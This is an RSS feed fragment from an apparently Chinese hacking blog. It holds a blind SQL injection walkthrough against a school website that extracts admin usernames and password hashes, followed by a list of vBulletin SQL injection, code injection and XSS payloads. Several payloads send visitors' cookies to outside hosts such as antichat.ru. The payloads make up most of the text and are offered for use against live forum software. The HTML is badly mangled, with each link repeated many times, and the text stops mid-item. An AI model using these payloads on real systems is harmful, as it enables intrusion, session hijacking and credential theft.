返回了错误&lt;br/&gt;1=1是一个真，1=2是一假，所以会返回一个正常一个错误。&lt;br/&gt;SQL数据就会变成如下： &lt;br/&gt;sel&amp;#101;ct * from 表名 wh&amp;#101;re 字段=&amp;#39;24&amp;#39;&lt;br/&gt;或者:&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and &amp;#39;1&amp;#39;=&amp;#39;1&amp;#39;&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and &amp;#39;1&amp;#39;=&amp;#39;2&amp;#39;&lt;br/&gt;&lt;br/&gt;注入存在了，判断数据库是ACC或MSS的，利用系统表 &lt;br/&gt;ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限，而SQL-SERVER的系统表是sysobjects,&lt;br/&gt;在WEB环境下有访问权限。对于以下两条语句： &lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct count(*) from sysobjects)&amp;gt;0 &lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct count(*) from msysobjects)&amp;gt;0 &lt;br/&gt;若数据库是SQL-SERVE，则第一条，网页，一定运行正常，第二条则异常；若是ACCESS则两条都会异常。&lt;br/&gt;我们提交后两条后都为异常，可以判断为ACC的数据库。&lt;br/&gt;图3。&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct count(*) from 表名)&amp;gt;0&lt;br/&gt;如果表名存在就会返回正常，反页错误。&lt;br/&gt;刚开始我提交：&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct count(*) from admin)&amp;gt;0&lt;br/&gt;返回错误，说明不存在ADMIN这个表，当后来提交这个返回正常：&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct count(*) from article_admin)&amp;gt;0&lt;br/&gt;说明存在article_admin这个表。&lt;br/&gt;猜列名：&lt;br/&gt;and (sel&amp;#101;ct count(字段名) from article_admin)&amp;gt;0 &lt;br/&gt;提交：&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct count(username) from article_admin)&amp;gt;0 &lt;br/&gt;返回了正常，接着提交：&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct count(password) from article_admin)&amp;gt;0 &lt;br/&gt;返回了正常，说明存在username和password这两个字段名。&lt;br/&gt;猜用户名和密码长度；&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct top 1 len(username) from article_admin)=5&lt;br/&gt;返回正常，说明username内容长度为5&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct top 1 len(password) from article_admin)=16&lt;br/&gt;正常，password内容长度为16，也就是MD5的值。&lt;br/&gt;&lt;br/&gt;猜用户名和密码内容：&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and (sel&amp;#101;ct top 1 asc(mid(username,1,1)) from article_admin)=97&lt;br/&gt;返回了正常，说明第一username里的第一位内容是ASC码的97，也就是a。&lt;br/&gt;猜第二位把username,1,1改成username,2,1就可以了。&lt;br/&gt;猜密码把username改成password就OK了。&lt;br/&gt;&lt;br/&gt;</description><category>[传教]√经验之谈</category><pubDate>Sat, 14 Jun 2008 04:11:38 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=989</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=989</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670256/5050703</fs:itemid></item><item><title>vBulletin Hack</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670257/5050703/1/item.html</link><description>&lt;br/&gt;2.3.* - SQL injection&lt;br/&gt;Quote:www.strona.com/forumpath/calenda ... edit&amp;amp;eventid=14 union (Sel&amp;#101;ct allowsmilies,public,userid,&amp;#39;0000-0-0&amp;#39;,version(),userid FROM calendar_events Wh&amp;#101;re eventid = 14) o&amp;#114;der by eventdate &lt;br/&gt;&lt;br/&gt;2.*.* - XSS &lt;br/&gt;Quote:[E*MAIL]aaa@aaa.aa&amp;#34;&amp;#39;s=&amp;#39;[/E*MAIL]&amp;#39; sss=&amp;#34;i=new Image(); i.src=&amp;#39;&lt;a href=&quot;http://antichat.ru/cgi-bin/s.jpg?&quot; target=&quot;_blank&quot;&gt;http://antichat.ru/cgi-bin/s.jpg?&lt;/a&gt;&amp;#39;+document.cookie;this.sss=null&amp;#34; style=top:e&amp;#173;xpression(eval(this.sss)); &lt;br/&gt;&lt;br/&gt;vBulletin 3.0 &lt;br/&gt;混世魔王：收集：vBulletin 的注入漏洞很少,国外对付VBB的办法是XSS到admin 的hash,然后用vBulletin Hash cracker2.0 破解.&lt;br/&gt;3.0.0 - XSS &lt;br/&gt;Quote:www.strona.com/forumpath//search ... wposts=0&amp;amp;query=&amp;lt;script&amp;gt;im g = new Image(); img.src = &amp;#34;&lt;a href=&quot;http://strona.pl/s.jpg?&quot; target=&quot;_blank&quot;&gt;http://strona.pl/s.jpg?&lt;/a&gt;&amp;#34;+document.cookie;&amp;lt;/script&amp;gt; &lt;br/&gt;&lt;br/&gt;3.0-3.0.4&lt;br/&gt;Quote:www.strona.com/forumpath/forumdisplay.php?GLOBALS[]=1&amp;amp;f=2&amp;amp;comma=&amp;#34;.system &lt;br/&gt;&lt;br/&gt;3.0.3–3.0.9 XSS&lt;br/&gt;Quote:&amp;lt;body onLoad=img = new Image(); img.src = &amp;#34;&lt;a href=&quot;http://strona.pl/s.jpg?&quot; target=&quot;_blank&quot;&gt;http://strona.pl/s.jpg?&lt;/a&gt;&amp;#34;+document.cookie;&amp;gt; &lt;br/&gt;&lt;br/&gt;3.0.9 and 3.5.4 - XSS &lt;br/&gt;Quote:www.strona.com/forumpath/newthre ... ect=1234&amp;amp;WYSIWY G_HTML=%3Cp%3E%3C%2Fp%3E&amp;amp;s=&amp;amp;f=3&amp;amp;do=postthread&amp;amp;post hash=c8d3fe38b082b6d3381cbee17f1f1aca&amp;amp;poststarttim e=&amp;#39;%2Bimg = new Image(); img.src = &amp;#34;&lt;a href=&quot;http://antichat.ru/cgi-bin/s.jpg?&quot; target=&quot;_blank&quot;&gt;http://antichat.ru/cgi-bin/s.jpg?&lt;/a&gt;&amp;#34;+document.cookie;%2B&amp;#39;&amp;amp;sbutton=%D1%EE%E7%E4% E0%F2%FC+%ED%EE%E2%F3%FE+%F2% E5%EC%F3&amp;amp;parseurl=1&amp;amp;disablesmilies=1&amp;amp;emailup&amp;#100;ate=3 &amp;amp;postpoll=yes&amp;amp;polloptions=1234&amp;amp;openclose=1&amp;amp;stickun stick= &lt;br/&gt;&lt;br/&gt;1&amp;amp;iconid=0&lt;br/&gt;&lt;br/&gt;vBulletin 3.5&lt;br/&gt;Quote:TITLE:---------&amp;gt;Test&amp;lt;script&amp;gt;img = new Image(); img.src = &amp;#34;&lt;a href=&quot;http://strona.pl/s.jpg?&quot; target=&quot;_blank&quot;&gt;http://strona.pl/s.jpg?&lt;/a&gt;&amp;#34;+document.cookie;&amp;lt;/script&amp;gt;&lt;br/&gt;BODY:----------&amp;gt;Obojętnie&lt;br/&gt;OTHER 